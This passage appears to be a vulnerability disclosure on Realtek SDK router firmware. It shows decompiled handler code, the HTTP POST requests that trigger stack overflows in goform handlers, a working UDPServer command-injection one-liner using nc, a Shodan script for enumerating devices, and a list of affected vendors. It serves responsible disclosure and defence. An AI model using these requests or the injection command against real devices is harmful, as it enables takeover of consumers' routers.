The formStaticDHCP form is vulnerable to a stack overflow where a user controlled value (hostname parameter) is insecurely copied to a stack variable using strcpy:

void formStaticDHCP(void **param_1,undefined4 param_2,undefined4 param_3,undefined4 ****param_4)
{

  char *pcVar3;
  char *pcVar4;
  uint uVar5;
  size_t sVar6;
  int iVar7;
  long lVar8;
  in_addr local_b0;
  uint local_118 [26];
  undefined local_ac [6];
  char acStack166 [38];
  byte local_80 [48];
  uint local_34;
  uint local_30;
  //--snip--
  pcVar3 = websGetVar((int)param_1,"addRsvIP",&DAT_00450fb8);
  local_3c = websGetVar((int)param_1,"deleteSelRsvIP",&DAT_00450fb8);
  local_38 = websGetVar((int)param_1,"deleteAllRsvIP",&DAT_00450fb8);
  apmib_get(0xaa,(byte *)local_118);
  local_34 = local_118[0];
  apmib_get(0xab,(byte *)local_118);
  local_30 = local_118[0];
  pcVar4 = websGetVar((int)param_1,"static_dhcp",&DAT_00450fb8);
  if (*pcVar4 == '\0') {
LAB_00423c70:
    if (*pcVar3 != '\0') {
      memset(&local_b0,0,0x2a);
      pcVar3 = websGetVar((int)param_1,"hostname",&DAT_00450fb8);
      if (*pcVar3 != '\0') {
        strcpy(acStack166,pcVar3);
      }
      //--snip--
    }
    //--snip--
  }
  //--snip--
}

The following HTTP request will trigger the overflow:

POST /goform/formStaticDHCP HTTP/1.1
Host: 192.168.100.254
Content-Length: 509
Content-Type: application/x-www-form-urlencoded
Connection: close

static_dhcp=1&ip_addr=192.168.100.4&mac_addr=000102030405&hostname=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...&addRsvIP=Apply+Changes&submit-url=%2Ftcpip_staticdhcp.asp

Stack Buffer Overflow via formWlanMultipleAP’s submit-url query parameter

The formWlanMultipleAP form is vulnerable to a stack overflow where a user controlled value (submit-url parameter) is insecurely copied to a stack variable using sprintf:

void formWlanMultipleAP(void **param_1)
{
  char *pcVar1;
  undefined1 *puVar5;
  undefined4 *__s;
  undefined4 uVar8;
  
  //--snip--
  puVar5 = websGetVar((int)param_1,"submit-url",&DAT_004548c4);
  memset(__s,0,200);
  pcVar1 = "/goform/formWlanRedirect?redirect-url=%s&wlan_id=%d";
  uVar8 = wlan_idx;
  sprintf((char *)__s,pcVar1, puVar5, uVar8);
  //--snip--
}

The HTTP request below will trigger the vulnerability:

POST /goform/formWlanMultipleAP HTTP/1.1
Host: 192.168.100.254
Content-Length: 1250
Content-Type: application/x-www-form-urlencoded
Connection: close

wlanIdx=0&wl_disable1=ON&wl_band1=11&wl_ssid1=TELENETHOMESPOT&TxRate1=0&wl_hide_ssid1=0&wl_access1=0&vap=1&wl_disable3=ON&wl_band3=11&wl_ssid3=TelenetWiFree&TxRate3=0&wl_hide_ssid3=0&wl_access3=0&submit-url=AAAAAAAAA...AAAA&save=Apply+Changes

Stack Buffer Overflow via formWsc’s peerPin query parameter

The formWsc form is vulnerable to a stack overflow where a user controlled value (peerPin parameter) is insecurely copied to a stack variable using sprintf:

      system("echo 1 > /var/wps_start_pin");
      if (bVar1) {
        apmib_get(0x111,abStack472);
        sprintf((char *)abStack736,"echo %s > /var/wps_local_pin",abStack472);
        system((char *)abStack736);
      }
      
    pcVar3 = "echo %s > /var/wps_peer_pin";
    sprintf((char *)abStack736,"echo %s > /var/wps_peer_pin");
    system((char *)abStack736);
    run_init_script("bridge");
    
    
    if (local_38 == 0) {
  pcVar3 = "iwpriv %s set_mib pin=%s";
  sprintf((char *)abStack736,pcVar3, WLAN_IF, wps_pin);
  system((char *)abStack736);
}
else{
  pcVar3 = "iwpriv wlan%d-vxd set_mib pin=%s";
  sprintf((char *)abStack736,pcVar3, wlan_idx, wps_pin);
  system((char *)abStack736);
}

The HTTP request below will trigger the overflow:

POST /goform/formWsc HTTP/1.1
Host: 192.168.100.254
Content-Length: 1057
Content-Type: application/x-www-form-urlencoded
Connection: close

submit-url=%2Fwlwps.asp&resetUnCfg=0&peerPin=AAAAAAAAAAAAAAAAAAAAAAA...AAAAAAAAAAAA&setPIN=Start+PIN&configVxd=off&resetRptUnCfg=0&peerRptPin=

The binary will simply segfault:

# webs
Invalid pin_code length!
Segmentation fault

UDPServer Vulnerabilities

Summary

The following command injection issue found in UDPServer was already identified and reported in 2015 by Peter Adkins, but Mitre never assigned CVEs:

One of the more ‘interesting’ hooks exposed by these devices allow for a ‘UDPServer‘ process to be spawned on the device when called. When started this process listens on the devices LAN IP for data on UDP 9034.

Unfortunately, this process does not appear to perform any sort of input sanitization before passing user input to a system() call. Further investigation finds that the source for this service (UDPServer) is
available in the RealTek SDK, and appears to be a diagnostic tool.

As a result of the above, this process is vulnerable to arbitrary command injection.

By looking at recent samples of the affected binary, we discovered that Realtek released an incomplete fix for this exact issue. We also identified a few buffer overflows.

Caveat

Some devices will launch UDPServer automatically from their init script, some execute it when a specific function in their own code is called (web server request, request to custom network daemon, …), some never execute it and UDPServer is just left as an artifact.

For each identified firmware image with a UDPserver binary, manual analysis is required to confirm if the service is exposed by default or if it can be launched.

Command Injection via UDPServer protocol

When looking at the proof-of-concept and the current code base, it seems that Realtek tried to fix the issues reported in 2015. In 2015 sending \`telnetd -l /bin/sh\` as UDP payload would have triggered the command injection.

Our interpretation is that Realtek tried to fix that by using the following construct we see in the binary:

if(!memcmp(buf, "orf", 3)){
  strcat(buf, " > /tmp/MP.txt");
  system(buf);
}

This does not fix anything given that you can send orf; <injected command>;# and you’ll pass the check while still being able to inject commands.

6 calls to system() are made with user controlled input. Each call follows the same structure as below:

if(!memcmp(buf, "<some_supposedly_whitelisted_value>", 3)){
  strcat(buf, " > /tmp/MP.txt");
  system(buf);
}

Exploitation:

$ echo 'orf;ls' | nc -u 192.168.100.254 9034
orf;ls
 > /tmp/MP.txt ok

Static Buffer Overflow via UDPServer protocol

On top of command injection, the server is vulnerable to buffer overflows via insecure calls to sprintf (comments added as explaination):

#define BUFLEN 1024

char buf[BUFLEN], buf_tmp[BUFLEN],pre_result[BUFLEN]; // buffer that stores message
static char cmdWrap[500];

// read up to 1024 bytes from the UDP socket
if ((numbytes = recvfrom(sockfd, buf, BUFLEN, 0, 
  (struct sockaddr *)&their_addr, &addr_len)) == -1) {
  fprintf(stderr,"Receive failed!!!\n");
  close(sockfd);
  exit(1);
}

// if user controlled buffer starts with "flash get"
if (!memcmp(buf, "flash get", 9)){
  // unbound copy from a 1024 bytes buffer into a 500 bytes buffer
  sprintf(cmdWrap, "flash gethw %s", buf+10);
}

// if user controlled buffer starts with "flash set"
if (!memcmp(buf, "flash set", 9)) {
  // unbound copy from a 1024 bytes buffer into a 500 bytes buffer
  sprintf(cmdWrap, "flash sethw %s", buf+10);
}

Exploitation won’t be straightforward given that the buffer being overflown will be located in .data section (static declaration).

3 other overflows are present :

#define BUFLEN 1024
char buf[BUFLEN], buf_tmp[BUFLEN], pre_result[BUFLEN];
// --snip--

if ( (!memcmp(buf, "flash read", 10)) ){
  if ((fp = fopen("/tmp/MP.txt", "r")) == NULL)
    fprintf(stderr, "opening MP.txt failed !\n");
  if (fp) {
    fgets(buf, BUFLEN, fp);
    buf[BUFLEN-1] = '\0';
    fclose(fp);
  }
  // buf is user controlled
  // if buf is BUFLEN bytes long, we have a 5 bytes overflow after pre_result
  // thanks to the addition of the string 'data:'
  sprintf(pre_result, "data:%s", buf);
}
// --snip--
else if (!memcmp(buf, "flash get", 9)) {
  // 17 bytes overflow if buf contains BUFLEN bytes
  sprintf(pre_result, "%s > /tmp/MP.txt ok", buf);
} 
else {
  // 3 bytes overflow if buf contains BUFLEN bytes
  sprintf(pre_result, "%s ok", buf);;
}

Identifying Affected Vendors

To identify devices affected by the vulnerabilities identified in the UPnP/SSDP service, we can rely on Shodan.

After some research, our understanding is that Shodan does this:

  • sends SSDP M-SEARCH to port UDP/1900 to every IP in the whole IPv4 range
  • for each device that answers with an SSDP NOTIFY, try to fetch the the device description over UPnP by using the SSDP NOTIFY Location header (e.g. http://hostname:52881/simplecfg.xml) as target
  • parse the device description and enrich the host data with it (model name, model number, model description)

The model name, number, and description are exposed by Shodan as the “product” facet. Knowing this, we can fetch all vendors and model names that expose an SSDP/UPnP service over the Internet that is based on the vulnerable Realtek SDK.

#!/usr/bin/env python3

import shodan
import sys

# Configuration
API_KEY = 'REDACTED'

# The list of properties we want summary information on
FACETS = [
    ('product', 1000)
]

try:
    products = set()
    # Setup the api
    api = shodan.Shodan(API_KEY)

    # query services matching the Realtek SDK
    queries = [
        "\"Realtek/V1.0\" port:\"1900\"",
        "\"Realtek/V1.1\" port:\"1900\"",
        "\"Realtek/V1.2\" port:\"1900\"",
        "\"Realtek/V1.3\" port:\"1900\""
    ]

    for query in queries:
        result = api.count(query, facets=FACETS)
        for facet in result['facets']:
            for term in result['facets'][facet]:
                products.add(term['value'])

    for product in sorted(products):
        print(product)

except Exception as e:
    print('Error: %s' % e)
    sys.exit(1)

We got 198 unique fingerprints for devices that answered over UPnP. If we estimate that each device may have sold 5k copies (on average), the total count of affected devices would be close to a million.

The list of affected devices that we were able to identify can be found in the appendix.

Realtek System Indicators

If you are assessing an embedded device, these are indicators of a system relying on Realtek’s SDK.

An easy indicator is the /etc/motd file mentioning rlx-linux:

RLX Linux version 2.0
         _           _  _
        | |         | ||_|                 
   _  _ | | _  _    | | _ ____  _   _  _  _ 
  | |/ || |\ \/ /   | || |  _ \| | | |\ \/ /
  | |_/ | |/    \   | || | | | | |_| |/    \
  |_|   |_|\_/\_/   |_||_|_| |_|\____|\_/\_/

For further information check:
http://processor.realtek.com/

Hostname is usually set to rlx-linux in the init script:

hostname rlx-linux

Another is /etc/version, which is not always present:

RTL819xD v1.0 --  Mon Nov 30 16:52:13 CST 2020
The SDK version is: Realtek SDK v3.2.3-r14377
Ethernet driver version is: 14120-14374
Wireless driver version is: 3.4.6.5
Fastpath source version is: 14363-13971
Feature support version is: 13990-12484

rlx-linux is a stripped down Linux system from Realtek, built specifically for the RTL chipsets.

Timeline

  • 2021-05-17 – Ask Realtek security team for a way to send our report securely.
  • 2021-05-18 – Realtek security team provides their PGP key, we send encrypted advisories.
  • 2021-05-25 – Realtek security team request Python PoC scripts.
  • 2021-05-25 – We provide scripts for every reported vulnerability.
  • 2021-06-10 – Realtek security team provides us the patched code, along with a patched firmware for the 96D_92D demo boards.
  • 2021-06-10 – We review the patch and send our comments related to checks that could still be bypassed.
  • 2021-06-11 – Realtek security team provides us with the exact list of affected versions for “Jungle” and “Luna” SDKs. The 2.x branch is no longer supported by Realtek, being 11 years old.
  • 2021-06-16 – We request CVE identifiers from MITRE.
  • 2021-08-05 – We receive CVE identifiers from MITRE.
  • 2021-08-13 – Realtek publish its advisory.
  • 2021-08-16 – End of 90 days disclosure window, releasing this post.

Appendix

List of (known) affected manufacturers

Manufacturer

Affected Models

A-Link Europe Ltd

A-Link WNAP WNAP(b)

ARRIS Group, Inc

VAP4402_CALA

Airlive Corp.

WN-250R
WN-350R

Abocom System Inc.

Wireless Router ?

AIgital

Wifi Range Extenders

Amped Wireless

AP20000G

Askey

AP5100W

ASUSTek Computer Inc.

RT-Nxx models, WL330-NUL
Wireless WPS Router RT-N10E
Wireless WPS Router RT-N10LX
Wireless WPS Router RT-N12E
Wireless WPS Router RT-N12LX

BEST ONE TECHNOLOGY CO., LTD.

AP-BNC-800

Beeline

Smart Box v1

Belkin

F9K1015
AC1200DB Wireless Router F9K1113 v4
AC1200FE Wireless Router F9K1123
AC750 Wireless Router F9K1116
N300WRX
N600DB

Buffalo Inc.

WEX-1166DHP2
WEX-1166DHPS
WEX-300HPS
WEX-733DHPS
WMR-433
WSR-1166DHP3
WSR-1166DHP4
WSR-1166DHPL
WSR-1166DHPL2

Calix Inc.

804Mesh

China Mobile Communication Corp.

AN1202L

Compal Broadband Networks, INC.

CH66xx cable modems line.

D-Link

DIR-XXX models based on rlx-linux
DAP-XXX models based on rlx-linux

DIR-300
DIR-501
DIR-600L
DIR-605C
DIR-605L
DIR-615
DIR-618
DIR-618b
DIR-619
DIR-619L
DIR-809
DIR-813
DIR-815
DIR-820L
DIR-825
DIR-825AC
DIR-825ACG1
DIR-842

DAP-1155
DAP-1155 A1
DAP-1360 C1
DAP-1360 B1

DSL-2640U
DSL-2750U
DSL_2640U

VoIP Router DVG-2102S
VoIP Router DVG-5004S
VoIP Router DVG-N5402GF
VoIP Router DVG-N5402SP
VoIP Router DVG-N5412SP
Wireless VoIP Device DVG-N5402SP

DASAN Networks

H150N

Davolink Inc.

DVW2700 1
DVW2700L 1

Edge-core

VoIP Router ECG4510-05E-R01

Edimax

RE-7438
BR6478N
Wireless Router BR-6428nS
N150 Wireless Router BR6228GNS
N300 Wireless Router BR6428NS
BR-6228nS/nC

Edison

unknown

EnGenius Technologies, Inc.

11N Wireless Router
Wireless AP Router

ELECOM Co.,LTD.

WRC-1467GHBK
WRC-1900GHBK
WRC-300FEBK-A
WRC-733FEBK-A

Esson Technology Inc.

Wifi Module ESM8196 – https://fccid.io/RKOESM8196 (therefore any device using this wifi module)

EZ-NET Ubiquitous Corp.

NEXT-7004N

FIDA

PRN3005L D5

Hama

unknown

Hawking Technologies, Inc.

HAWNR3

MT-Link

MT-WR600N

I-O DATA DEVICE, INC.

WN-AC1167R
WN-G300GR

IGD

1T1R

LG International

Axler Router LGI-R104N
Axler Router LGI-R104T
Axler Router LGI-X501
Axler Router LGI-X502
Axler Router LGI-X503
Axler Router LGI-X601
Axler Router LGI-X602
Axler Router RT-DSE

LINK-NET TECHNOLOGY CO., LTD.

LW-N664R2
LW-U31
LW-U700

Logitec

BR6428GNS
LAN-W300N3L

MMC Technology

MM01-005H
MM02-005H

MT-Link

MT-WR730N
MT-WR760N
MT-WR761N
MT-WR761N+
MT-WR860N

NetComm Wireless

NF15ACV

Netis

WF2411
WF2411I
WF2411R
WF2419
WF2419I
WF2419R
WF2681

Netgear

N300R

Nexxt Solutions

AEIEL304A1
AEIEL304U2
ARNEL304U1

Observa Telecom

RTA01

Occtel

VoIP Router ODC201AC
VoIP Router OGC200W
VoIP Router ONC200W
VoIP Router SP300-DS
VoIP Router SP5220SO
VoIP Router SP5220SP

Omega Technology

Wireless N Router O31 OWLR151U
Wireless N Router O70 OWLR307U

PATECH

Axler RT-TSE
Axler Router R104
Axler Router R3
Axler Router X503
Axler Router X603
LotteMart Router 104L
LotteMart Router 502L
LotteMart Router 503L
Router P104S
Router P501

PLANEX COMMUNICATIONS INC.
Planex Communications Corp.

MZK-MF300N
MZK-MR150
MZK-W300NH3
MZK-W300NR
MZK-WNHR

PLANET Technology

VIP-281SW

Realtek

RTL8196C EV-2009-02-06
RTL8xxx EV-2009-02-06
RTL8xxx EV-2010-09-20
RTL8186 EV-2006-07-27
RTL8671 EV-2006-07-27
RTL8671 EV-2010-09-20
RTL8xxx EV-2006-07-27
RTL8xxx EV-2009-02-06
RTL8xxx EV-2010-09-20

Revogi Systems

Sitecom Europe BV

Sitecom Wireless Gigabit Router WLR-4001
Sitecom Wireless Router 150N X1 150N
Sitecom Wireless Router 300N X2 300N
Sitecom Wireless Router 300N X3 300N

Skystation

CWR-GN150S

Sercomm Corp.

Telmex Infinitum

Shaghal Ltd.

ERACN300

Shenzhen Yichen (JCG) Technology Development Co., Ltd.

JYR-N490

Skyworth Digital Technology.

Mesh Router

Smartlink

unknown

TCL Communication

unknown

Technicolor

TD5137

Telewell

TW-EAV510

Tenda

AC6, AC10, W6, W9, i21

Totolink

A300R

TRENDnet, Inc.
TRENDnet Technology, Corp.

TEW-651BR
TEW-637AP
TEW-638APB
TEW-831DR

UPVEL

UR-315BN

ZTE

MF253V, MF910

Zyxel

P-330W
X150N
NBG-2105
NBG-416N AP Router
NBG-418N AP Router
WAP6804